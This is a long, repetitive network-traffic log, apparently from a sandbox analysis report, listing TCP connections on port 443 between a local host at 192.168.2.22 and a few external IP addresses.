Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 172.67.197.72:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 172.67.197.72:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 172.67.197.72:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 172.67.197.72:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 172.67.197.72:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 172.67.197.72:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 172.67.197.72:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 172.67.197.72:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 172.67.197.72:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49163
